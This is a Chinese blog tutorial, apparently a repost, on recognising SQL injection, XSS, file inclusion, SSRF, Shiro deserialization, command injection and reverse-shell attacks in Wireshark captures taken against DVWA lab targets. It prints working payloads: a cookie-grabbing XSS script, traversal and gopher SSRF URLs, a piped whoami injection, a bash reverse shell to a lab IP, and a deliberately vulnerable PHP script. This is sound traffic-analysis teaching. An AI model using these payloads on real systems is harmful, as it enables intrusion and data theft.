基础漏洞流量分析

2023-12-13 19:39:15

基础漏洞流量分析

sql注入

sql注入原理

SQL 注入的攻击行为可以描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  • 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句。
  • 未对用户可控参数进行足够的过滤,便将参数内容拼接到 SQL 语句中

sql注入危害

攻击者可以利用 SOL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容 (脱库)。

在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。
如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用 SOL 注入漏洞直接获取 WebshelL 或者服务器权限。

流量特征

可以在流量中看到明显的sql注入查询语句,诸如union select sleep() database等,也有url编码

演示过程

此处以dvwa low为例

image-20231209145523475

使用poc

1' union select 1,database() #

提交过后查看wireshark抓取的数据

找到http的并且目标ip为靶场IP的流量

image-20231209145605501

会发现明显的sql注入查询语句

image-20231209145733047

xss

xss原理

XSS攻击利用了Web应用程序对用户输入数据的信任以及过滤不足,攻击者通过在网页中插入恶意脚本,使得用户浏览器执行恶意代码(JS),从而达到攻击的目的。

xss危害

XSS漏洞可能导致用户隐私泄露、账号被劫持、网站内容被篡改、恶意脚本的传播等危害。

流量特征

流量中可能出现xss相关的关键字,例如<script>标签,亦或是为了绕过防御而出现的双写大小写,或者javascript伪协议,以及html响应事件的关键字

演示过程

此处以dvwa low为例

image-20231209150550021

poc

<script>alert(document.cookie)</script>

image-20231209150707189

流量中存在明显的script标签以及获取cookie的语句

文件上传

文件上传成因

服务器配置不当,开启了PUT 方法。

Web 应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。

在程序开发部署时,没有考虑以下因素,导致限制被绕过:

  • 代码特性;
  • 组件漏洞;
  • Web 容器漏洞;
  • 系统特性;

文件上传危害

上传恶意代码(文件,程序),并执行恶意代码(文件,程序):

  • 直接上传后门文件并执行,导致网站沦陷;
  • 通过恶意文件,利用其他漏洞拿到管理员权限(提权),导致服务器沦陷。

流量特征

该流量中包含文件名和后缀,以及类型,如果不能直接判断,还可以直接看上传文件的内容

演示过程

以dvwa low为例

image-20231209152628834

image-20231209152619654

从info段没有什么明显特征,只能看出提交了个post请求,但是具体查看可以看到该流量中包含文件名和后缀,以及类型,如果不能直接判断,还可以直接看上传文件的内容

文件包含

原理

如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞,如果无条件解析代码,也为图片马提供了出路

危害

文件包含漏洞可能导致攻击者执行任意代码、获取敏感信息、篡改页面内容等恶意行为。

流量特征

文件包含的流量特征是请求包中有非服务器允许访问的文件路径,或者文件路径中出现 data://ftp:// 等协议或者目录穿越的关键字 ../../

image-20231209153837626

演示过程

dvwa low为例

poc

http://10.9.47.181/dvwa_2.0.1/vulnerabilities/fi/?page=../../../phpinfo.php

通过靶场直接读到了目录下的phpinfo

image-20231209153604469

image-20231209153706028

可以看到流量中出现参数名后接…/…/这种的目录穿越的格式

文件读取

任意文件读取漏洞由于对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件

与文件包含的区别是文件读取无法解析执行文件,只能读取文件的内容

跟文件包含的流量特征类似,请求访问的文件地址中出现 C://../../ 等关键字或者其他非服务器允许访问的文件路径

ssrf

介绍

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

危害

  • 端口扫描;
  • 内网Web 应用指纹识别;
  • 攻击内网应用;
  • 读取本地文件;

流量特征

动态参数后可能存在协议,抑或是ip和端口号,因为可能对其进行探测或者资源获取,协议可能出现的关键字例如gopher,dict,file

演示过程

演示环境

<?php
//	ssrf_curl.php

if(isset($_REQUEST['url'])){
	$link = $_REQUEST['url'];
	$fileName = './curled/'.time().".txt";
	$curlObj = curl_init($link);
	$fp = fopen($fileName,'w');
	
	curl_setopt($curlObj,CURLOPT_FILE,$fp);
	curl_setopt($curlObj,CURLOPT_HEADER,0);
	curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
	
	curl_exec($curlObj);
	curl_close($curlObj);
	fclose($fp);
	
	if(getimagesize($fileName)){
		header("Content-Type:image/png");
	}
	
	$fp = fopen($fileName,'r');
	$result = fread($fp,filesize($fileName));
	fclose($fp);
	echo $result;
}else{
	echo "?url=[url]";
}
?>

poc

http://10.9.47.181/ssrf/ssrf_curl.php?url=gopher://127.0.0.1:3306

可以读取到返回信息

image-20231209155010423

image-20231209155142006

流量中存在协议,ip,以及端口号

shiro反序列化

漏洞原理

在 Apache shiro 的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在 cookie 字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到 RememberMe Cookie 字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的 cookie 值进行身份验证,无需登录即可访问。那么显然,服务端进行对 cookie 进行验证的步骤就是:取出请求包中 rememberMe 的cookie值 => Base64解码=>AES解密(用到密钥 key )=>反序列化。

靶场搭建

换源

vim /etc/apt/sources.list
中科大Kali镜像源
 
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

更新可用软件包列表

apt-get update

安装docker

apt-get install docker-compose
init 6

然后重启一下

启动docker

service docker start

拉取靶场镜像

docker pull medicean/vulapps:s_shiro_1

启动靶场映射到80

docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

image-20231209160958978

演示过程

访问kali IP

登录

image-20231209161102699

当登陆页面有 remember me ,记住密码类似的字样需要考虑 shiro 反序列化漏洞

image-20231209161204479

shiro 550 用户名密码随便填写,勾选 Remember Me,点击登录,抓包

image-20231209161631975

使用shiro工具

java -jar shiro_attack-4.5.3-SNAPSHOT-all.jar

image-20231209162211100

按照从上到下的顺序点击

然后就可以利用功能了

image-20231209162444680

ip.dst==10.4.7.137

过滤过后找到http

发现流量特征,包内cookie后有利用链加密,很长

image-20231209164704636

base64 解码>解密>反序列化后为利用链的 exp

流量特征

将 exp 经序列化 => 对称加密 => base64 编码存储到 Cookie 中,比正常的 Cookie 值要长的多

jwt

详情见我的另一篇文章

https://blog.csdn.net/qq_58683895/article/details/134884411

抓取流量过后,会发现Authorization字段有类似jwt的数据,将其以点分隔使用base64解码,即可看出具体的信息,可以看看解码后加密部分是否为none,亦或是exp部分和user和信息是否匹配,以此判断jwt是否被攻击者更改利用

image-20231209170402848

暴力破解

以dvwa low 为例

可以看到流量中出现username=?或者password=?的字样,并且流量包非常多

image-20231209180428087

命令执行

dvwa low为例

poc

ping 127.0.0.1|whoami

image-20231209180629583

出现命令执行相关的关键字

image-20231209180712177

反弹shell

模拟环境

image-20231209183855055

bash -c 'bash -i >& /dev/tcp/10.4.7.138/12138 0>&1'

image-20231209184238543

image-20231209184245702

会出现大量的tcp流量,内容中还会出现命令字

image-20231209184511035

也可以追踪流来查看,大体能直接看出操作的流程

文章来源:https://blog.csdn.net/qq_58683895/article/details/134898914
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。